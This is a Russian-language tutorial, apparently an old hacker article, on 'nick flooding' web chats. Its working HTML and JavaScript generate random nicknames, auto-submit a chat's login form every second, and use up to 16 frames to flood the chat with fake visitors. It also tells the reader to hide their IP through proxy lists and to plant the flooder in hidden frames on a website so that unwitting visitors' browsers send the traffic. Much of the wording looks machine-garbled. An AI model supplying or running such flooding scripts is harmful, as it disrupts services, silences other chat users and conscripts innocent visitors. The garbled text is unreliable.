Anti-chat или nick flooding ч.1
Продолжая тему FA , мы решил написать еще одну статью, которая теперь уже точно соответствует своему названию. Внимание: используйте это исключительно для борьбы с "отмороженными" админами, которые от безделья либо дабы показать свои возможности выкидывают из чата по любой причине также без нее. Не используйте этот средство в чатах, в каком месте вам отчуждают нормально общаться, т.к. вы не дадите поговорить никому, потому что в чат станет заходить внушительное число разных "людей" причем их станет так немало, что выражать в чате станет нельзя... Другими словами это "Nick Flooding" либо наполнение чата несуществующими посетителями.
Сохраняем на диск стартовую страницу.
Для реализации вам потребуется чат со входом без регистрации также мало знания html(хотя-бы что это такое) . Сохраняем стартовую страницу чата, это в каком месте написано "Введите ваш ник"
Код примерно такой | |
<html><body>...................... <FORM action=/cgi-bin/chat/login.cgi method=post
name="chat_x"> -путь куда отправляются данные .....................</html></body> | |
А так это выглядит в Броузере: | Введите ваш ник |
Если у вас стартовая страница загружается в виде фреймов, т.е. уже видно сообщения , внизу написано "Введите ваш ник" (обычно это самый нижний фрейм) надобно щелкнуть там(внизу) правой кнопкой также выбрать "Просмотр в виде html" там вы увидите также что также в главном случае, возможно что код станет посложнее.
если вы умеете трудиться с чатом с диска также в данном чате это возможно, то код нижнего фрейма после первой сказанной фразы станет иметь следующее : <html><body>...................... <FORM action=/cgi-bin/chat/login.cgi method=post name="chat_x">
-путь куда отправляются данные .....................</html></body> |
Если этот чат находится по адресу http://www.domen.ru то в строчку <FORM action= /cgi-bin/chat/login.cgi method=post name="chat_x"> прописываем этот адрес также приобретаем: <FORM action= http://www.domen.ru/cgi-bin/chat/login.cgi method=post name="chat_x"> теперь запускаем этот файл также заходим из него в чат, name="chat_x" может отсутствовать, в то время разрешено добавить его самому. Вместо chat_x.оно может именоваться также по другму. Если получается заходить в чат из этого файла, переходим к следующей элементы.
Первая фишка: генерируем "Посетителей чата"
Если использовать для наших целей один ник, то больше 2-3 фраз он никак не протянет...выкинут. Значит надо чтобы ник прктически всегда был различный в этом нам поможет Java script (вам его знать никак не обязательно, просто подставите свои цифры) Math.floor(Math.random()*100000000)
Пояснение: Математический объект Math: Math.random()
генерирует количество от 0 вплоть до 1, затем это
число округляется при подмоги Math.floor()
и дабы оно было целое надобно умножить
например на 10 в то время станет генерироваться
число от 0 вплоть до 9, ежели умножть на 100, то вплоть до 99,
если умножить на 1000, то вплоть до 999 также .т.д. т.е. длина
получаемого в результате числа, меньше
или равна числу нулей в том числе на
которое умножали.... блин, самолично уже запутался:-)))
В примере(см. ниже) это количество равно100000000 вызывая
который мы получим случайное число, это ,
будет ник...
Для
того дабы это количество вписалось в форму для ника, ставим его в автозагрузку
страницы, т.е. в тег <body> позже этого
получится: <body onload="document.chat_x.nick.value
=(Math.floor(Math.random()*1000000))"> обратите забота
на название формы (см. образец html-кода выше,
оно выделено желтым цветом) это нужно для
того, дабы случайное количество вписывалось в
нужную форму также в нужное поле.
Другая фишка: Отправляем "посетителей" в чат.
<script Language="JavaScript">
function submit() {
Timer= setTimeout(" (document.chat_x.submit())",1000);
}
</script>
Этот скрипт как бы "Нажимает" кнопку "Submit" и отпраляет данные из формы с названием chat_x, в чате эта кнопка может именоваться "Войти в чат" или "Сказать", действует он это с задержкой 1000 мс, это дабы вы могли сначала увидеть что загрузилось (позднее можно поставить 100), но потом данные автоматически отправляются, но для этого надобно прописать функцию отправки submit() в автозагрузку нашей страницы т.е. в тег <body onload="document.chat_x.nick.value =(Math.floor(Math.random()*1000000));submit()"> теперь при загрузке страницы выбирается случайное число, потом оно записывается в форму chat_x в поле nick. также данные из формы chat_x отправляются на сервер, получается что в чат зашел чел с ником в виде нескольких чисел.
Пример html-кода бесхитростного чат-флудера |
<HTML><HEAD><TITLE>Chat Flooder</TITLE> <script Language="JavaScript"> function submit() { Timer= setTimeout(" (document.chat_x.submit())",1000); } </script> </HEAD> <BODY bgColor=#000066 onload="document.chat_x.nick.value=(Math.floor(Math.random()*1000000));submit()"> <FORM action=http://www.domen.ru/cgi-bin/chat/chat.cgi method=post name="chat_x"> |
Последнее... самолично флудинг
Для этого кушать три способа.
1.Создаем файл содержащий пара фрейма, в одном файл, какой при загрузке создает ник также отправляет его в чат, назовем его forma.htm, но во другом фрейме любой другой файл, у меня в образце это yo.htm. И сохраняем его с именем frames.htm Код этого документа станет такой:
Содержание файла frames.htm |
<html><head><title>Chat Flooder</title></head> <frameset rows="*,100"> <frame name="main" src="forma.htm"> <frame name="send" src="yo.htm"> <noframes><body> <p>This page uses frames, but your browser doesn't support them.</p> </body></noframes></frameset> |
Имя фрейма send я
выделил специально, т.к. данные будут
отправляться в него, дабы файл forma.htm после
отправки никак не выгружался. Далее в коде forma.htm
дописываем следующее: в тег
<FORM action=.....target="send">
и в исток акта строчку: <meta
http-equiv="Refresh" content="1"> дабы файл сам
обновлялся каждую секунду ,и ставим Timer=0. Что получилось: Файл обновляется также шлет в чат посетителя, это видно во фрейме с именем SEND т.е. взамен файла yo.htm появляется чат, потом forma.htm обновляется также снова шлет новоиспеченого чела в чат, также снова обновляется также снова в чат заходит новоиспеченный... так вплоть до безконечности:) Частота обновления ставится исходя из скорости подключения.
Пример содержания файла forma.htm <FORM action=http://www.domen.ru/cgi-bin/chat/chat.cgi method=post name="chat_x"
target="send">
<HTML>
<HEAD><TITLE>Chat Flooder</TITLE>
<meta http-equiv="Refresh" content="1">
<script Language="JavaScript">
function submit() {
Timer= setTimeout(" (document.chat_x.submit())",0);
}
</script>
</HEAD>
<BODY bgColor=#000066 onload="document.chat_x.nick.value=(Math.floor(Math.random()*1000000));submit()">
<input name=color type=hidden value=red>
Nick:<input name=nick type=text>
<input name=password type=hidden value="">
<INPUT type=submit value="Начать!!!">
</BODY></HTML>
2 Способ. Сначала делаем 4 файла которые будут отличаться только задержкой при отправке также один фреймовый файл в котором станет например 16(!) фреймов, в первой четверке первый файл, в нем Timer= setTimeout(" (document.chat_x.submit())",1000); Во другой четверке фреймов загружается второй файл в котором задержка равна 10000. В третьей четверке- 30000. Ну но в четвертой четверке загрузится четвертый файл с задержкой 40000 т.е. каждые 10000мс в чат будут заходить 4 "человека" и все разные, правда они будут в виде цифр но это фигня... Если вы использовали форму входа в чат то все они будут "заходить" в чат, но ежели форму отправки сообщения, то разрешено вписать еще в качестве сообщения абзац текста, в то время каждый сгенерированный ник станет говорить... Экспериментируйте, пробуйте другие варианты с фреймами...
Осталось только скрыть свой IP, для этого разрешено воспользоваться A4Proxy , набрать большой перечень серверов....
3 Способ. ежели у вас кушать сайт, то разрешено разместить данные файлы на него, например в скрытом фрейме, в то время также IP прктически всегда станет разный...
Валим чат:)
FAQ: Если никак не получается
FlooDer: У меня ничто никак не получается:)
Попробуй
сначала просто зайти в чат с диска, т.е. из
сохраненной на винт формы входа, ежели все
получилось, значит погрешность в коде "скрипта-флудера":), ежели никак не получилось, то
читай дальше...
FlooDer: Зашел с диска, нынче никак не получается отправить данные:) что действовать?
Проверь правильность названия форм (name=XxXxX)
FlooDer: В строке <FORM action=http://www.***.ru/chat.cgi
method=post> общий нет name="XxXxX", что действовать?
Вставь сам: (name="chat_x" target="send")
target- дабы данные отправлялись во фрейм send, получится
так:
<FORM action=http://www.***.ru/chat.cgi method=post name="chat_x"
target="send">
FlooDer: При входе в чат надобно вводить пароль, подходит всякий ежели ник никак не зарегистрирован, как его вписать в код?
В форме для ввода пароля надобно добавить: value="abrakadabra"
тогда с этим паролем будут вступать все
сгенеренные "юзеры"
Дата створення/оновлення: 25.05.2018